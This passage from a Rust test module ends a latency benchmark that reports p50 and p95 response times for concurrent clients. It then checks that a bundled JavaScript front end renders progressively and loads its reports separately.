24134 (first.0, first.0.max(total.0), first.1 + total.1)
24135 }));
24136 }
24137 for job in jobs {
24138 samples.push(job.await.unwrap());
24139 }
24140 }
24141 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24142 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24143 first.sort_by(f64::total_cmp);
24144 total.sort_by(f64::total_cmp);
24145 let n = first.len();
24146 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24147 println!(
24148 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24149 first[n / 2],
24150 first[(n * 95 / 100).min(n - 1)],
24151 total[n / 2],
24152 total[(n * 95 / 100).min(n - 1)],
24153 samples[0].2
24154 );
24155 }
24156 }
24157 }
24158
24159 #[test]
24160 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24161 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24163 assert!(APP_JS.contains("function nextRunRequest(id)"));
24164 assert!(APP_JS.contains("function runShell(id, summary)"));
24165 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24166 assert!(APP_JS.contains("function taskShell(id, summary)"));
24167 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24168 }
24169}